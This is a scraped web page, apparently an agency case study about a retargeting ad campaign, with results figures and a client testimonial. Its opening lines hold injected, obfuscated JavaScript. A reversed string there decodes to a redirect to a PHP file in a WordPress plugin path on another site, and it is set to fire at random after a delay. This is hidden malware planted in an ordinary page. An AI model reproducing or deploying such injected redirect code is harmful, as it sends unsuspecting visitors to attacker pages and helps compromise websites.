)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom " bg_color="" bg_image_thumb="disabled" bg_image="" bg_video="" bg_video_overlay_color="#000000" bg_video_overlay_opacity="0" bg_image_repeat="no-repeat" bg_image_attachment="scroll" bg_image_position="center center" bg_image_size="auto" padding="0" padding_h="0" margin_h="0" margin_b="0" custom_class="" custom_id="" ]

Maindex Solutions

Let us help you grow your business through the web

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Plainst Technologies, firm leaders in nano technologies for medical industry, wanted an online display strategy to increase site sales, utilizing their current customer base.

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Challenge

Avoid over-targeting existing visitors.

Solution

A dynamic digital media creative suite that allows users to be retargeted based on the tour they saw last and spent the most time viewing. Introduce a contextual campaign to increase reach by showing prospective audiences the current, most popular tour. Apply daily and lifetime frequency caps to each user to prevent over exposure.

Results

Achieved a Click Through Rate of 0.09% generating a number of new sales. In the campaign’s first full month of activity the Cost Per Action was reduced by 20%, beating the client’s target. February 2013 saw post-click revenue – generated by both dynamic retargeting and the prospecting campaign – produce a Return on Investment of 272%.

0.09% CTR

20% less CPA

272% ROI

From the client

These guys has built such a strong relationship with our organization that we consider them an extension of our I.T. department. We know that service is just a phone call or e-mail away and that we will receive the same level of they always makes us feel like we're their #1 customer.

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